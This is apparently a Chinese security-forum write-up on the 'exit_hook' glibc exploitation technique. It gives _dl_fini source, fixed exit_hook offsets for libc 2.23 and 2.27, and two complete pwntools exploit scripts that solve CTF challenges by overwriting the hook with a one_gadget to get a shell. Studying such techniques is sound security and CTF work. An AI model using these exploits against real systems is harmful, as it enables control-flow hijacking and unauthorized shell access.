程序退出调用链的利用--exit_hook
sn0w 发表于 湖南 二进制安全 974浏览 · 2024-08-11 01:43

exit_hook函数介绍

使用版本:glibc2.34之前

链子:__run_exit_handlers---> _dl_fini

存在情况通过libc_start_main进入 或者 使用了exit函数

动态调试过程:

我们通过观看_dl_fini的源码来看里面发生了什么:

#ifdef SHARED
  int do_audit = 0;
again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
  {
    /* Protect against concurrent loads and unloads.  */
    __rtld_lock_lock_recursive (GL(dl_load_lock));

    unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
    /* No need to do anything for empty namespaces or those 
       used for auditing DSOs.  */
    if (nloaded == 0
#ifdef SHARED
        || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
       )
      __rtld_lock_unlock_recursive (GL(dl_load_lock));
  }

​ __rtld_lock_lock_recursive (GL(dl_load_lock));

__rtld_lock_unlock_recursive (GL(dl_load_lock));

这两个是并发锁的一个保护 然后调用了这两个rtld_lock_lock_recursive ,rtld_lock_unlock_recursive

我们可以调试看一下这个代码在那里:

_rtld_global 结构体是 glibc 中 RTLD 管理全局状态和信息的一个关键组件

这边的位置和libc是固定的为了方便调试我们可以通过记下不同版本固定偏移:

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了,不执行也可以正常结束也会返回这个

例题分析:

ezheap

静态分析:

sub_4012B6(); (猜数字程序)

srand种子是当前时间 然后通过写同样的脚本绕过判断 到v6会给你输出一个地址,这里要注意size是我们输入的且size为有符号整数这点很重要!

然后主程序就是八字节地址任意写的一个利用,任意传入一个地址 写入一个任意值

思路分析:

通过开始输入的siez为-1将地址映射到libc附近,然后就可以泄露地址 最后再改exit的hook函数为ogg即可拿到shell

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *

#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./pwn1"
mx = process(filename)
#mx = remote("node5.anna.nssctf.cn",24071)
elf = ELF(filename)
libc=elf.libc
def guess_random_numbers():
    # 获取当前时间并作为种子
    current_time = int(time.time())
    print(f"Using seed (current time): {current_time}")

    # 使用当前时间作为种子来初始化随机数生成器
    random.seed(current_time)

    # 生成100个随机数并返回它们
    guessed_numbers = []
    for i in range(100):
        generated_number = random.randint(0, 99)
        guessed_numbers.append(generated_number)

    return guessed_numbers


if __name__ == "__main__":
    guessed_numbers = guess_random_numbers()
    print("Generated random numbers:")
    print(guessed_numbers)
    for i in range(100):
        rl("Guess a number (0-99): ")
        sl(str(guessed_numbers[i]))
    dbg()
    rl("input size you want to malloc\n")
    sl(str(-10))
    heap_addr=int(mx.recv(14),16)+ 0x100000ff0
    log_addr(heap_addr)
    pause()
    rl("input address: ")
    pause()
    ogg=heap_addr+0xe585f
    log_addr(ogg)
    #0x4f2be 0x4f2c5 0x4f322 0xe5863
    exit_hook=heap_addr+ 0x619f60+8
    sleep(0.5)
    s(p64(exit_hook))
    log_addr(exit_hook)
    sleep(0.5)
    s(p64(ogg))

inter()

hctf2018_the_end

可以看到给了libc然后任意地址写四个字节

具体攻击流程如下

EXP:

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *

#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./the_end"
mx = process(filename)
#mx = remote("node5.anna.nssctf.cn",24071)
elf = ELF(filename)
libc=elf.libc
#--------------------------------------------------------
rl("here is a gift ")
libc_addr=int(re(14),16)-0xcc2b0
libc.address=libc_addr
log_addr(libc_addr)
target_addr=libc_addr+3848+0x5f0040
rl("\n")
#ogg
#0x4527a 0xf03a4 0xf1247
dbg()
pause()
ogg=libc_addr+0xf03a4
log_addr(ogg)
for i in range (4):
    s(p64(target_addr))
    sleep(0.5)
    s(p8(ogg&0xff))
    target_addr+=1
    ogg=ogg>>8
inter()

总结:当打低版本的libc的情况下 可以考虑不走io链,而是打hook函数

参考文献
https://www.cnblogs.com/bhxdn/p/14222558.html

0 条评论
某人
表情
可输入 255